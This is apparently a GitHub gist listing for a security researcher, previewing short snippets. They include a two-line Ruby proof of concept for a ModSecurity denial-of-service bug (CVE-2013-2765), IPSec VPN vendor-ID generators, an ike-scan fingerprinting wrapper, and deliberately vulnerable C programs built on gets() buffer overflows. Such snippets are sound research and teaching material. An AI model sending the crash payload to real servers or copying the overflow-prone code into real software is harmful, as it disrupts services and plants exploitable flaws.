Skip to content

Instantly share code, notes, and snippets.

View claudijd's full-sized avatar
🦬

Jonathan Claudius claudijd

🦬
View GitHub Profile
@claudijd
claudijd / example10.rb
Created June 28, 2013 14:50
Load order for http_client_driver monkey patch
require 'viewpoint'
require 'http_client_driver_patch'
@claudijd
claudijd / gist:5909573
Created July 2, 2013 14:04
[CVE-2013-2765] ModSecurity Null Pointer Dereference DoS PoC
require 'rest_client'
RestClient.post "http://a.b.c.d", "A"*1024, :content_type => "text/random"
@claudijd
claudijd / stuff.rb
Created July 3, 2013 14:05
Linux FreeS/WAN / Openswan VID Generation hack
versions = [
"1.6.3",
"1.6.2",
"1.6.1",
"1.6.0",
"1.5.5",
"1.5.4",
"1.5.3",
"1.5.2",
"1.5.1",
@claudijd
claudijd / openswan-vid.pl
Created July 3, 2013 14:22
Openswan VID Generation tool
#!/usr/bin/perl
use warnings;
use strict;
use Digest::MD5 qw(md5);
#
my $openssl_version = shift();
die "Usage: openswan-vid <OpenSwan_version_string>\n" unless defined $openssl_version;
#
my $md5_hash = md5($openssl_version);
my @values = unpack("C10", $md5_hash);
@claudijd
claudijd / debian_packager.rb
Created July 4, 2013 02:39
A quick and dirty tool for turning standalone scripts into a .deb package
# Helper for building Debian Packages on Ubuntu/Debian systems
require 'fileutils'
class DebPackager
def initialize(opts = {})
@package_name = opts[:package_name]
@version = opts[:version]
@section = opts[:base] || "base"
@priority = opts[:priority] || "optional"
@claudijd
claudijd / gist:5924918
Last active December 19, 2015 08:19
Strong Swan Generic VID Generator
versions = [
"5.0.1",
"5.0.2",
"5.0.2dr4",
"5.0.2rc1",
"5.0.3",
"5.0.3dr1",
"5.0.3dr2",
"5.0.3dr3",
"5.0.3rc1",
@claudijd
claudijd / gist:5924996
Created July 4, 2013 04:47
How to debug the vidpatterns file within ike-scan
#Causes ike-scan to display it's vidpattern counts...
sudo ike-scan -v -v -v --vidpatterns=ike-vendor-ids 127.0.0.1
@claudijd
claudijd / harvest.rb
Last active March 27, 2023 16:48
IKE-Scan Mode/TransformSet/VID Enumeration Helper
# An quick and dirty ike-scan wrapper to enumerate
# supported transform sets and vendor ID fingerprints
# on IPSec VPN Endpoints.
#
# Example Targeted Run Output
#
#$ rvmsudo ruby harvest.rb --targets 192.168.1.1 --enc-types 5 --hash-types 2 --dh-types 2 --auth-types 1
#I, [2013-08-12T23:53:14.490138 #27197] INFO -- : 5 transform combinations to try
#D, [2013-08-12T23:53:14.490221 #27197] DEBUG -- : Trying ike-scan --multiline 192.168.1.1
#I, [2013-08-12T23:53:14.726363 #27197] INFO -- : Found a new VID VID=5b362bc820f60001
@claudijd
claudijd / exploitable.c
Created July 13, 2013 03:46
example buf overflow
#include <stdio.h>
int echo() {
char buf[200];
gets(buf);
puts(buf);
}
int main() {
printf("Please enter a string:");
@claudijd
claudijd / exploitable2.c
Created July 13, 2013 04:16
Another buf example
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, const char* argv[])
{
if(argv != 2)
{
printf("Usage: %s <text>\n",argv[0]);
exit(1);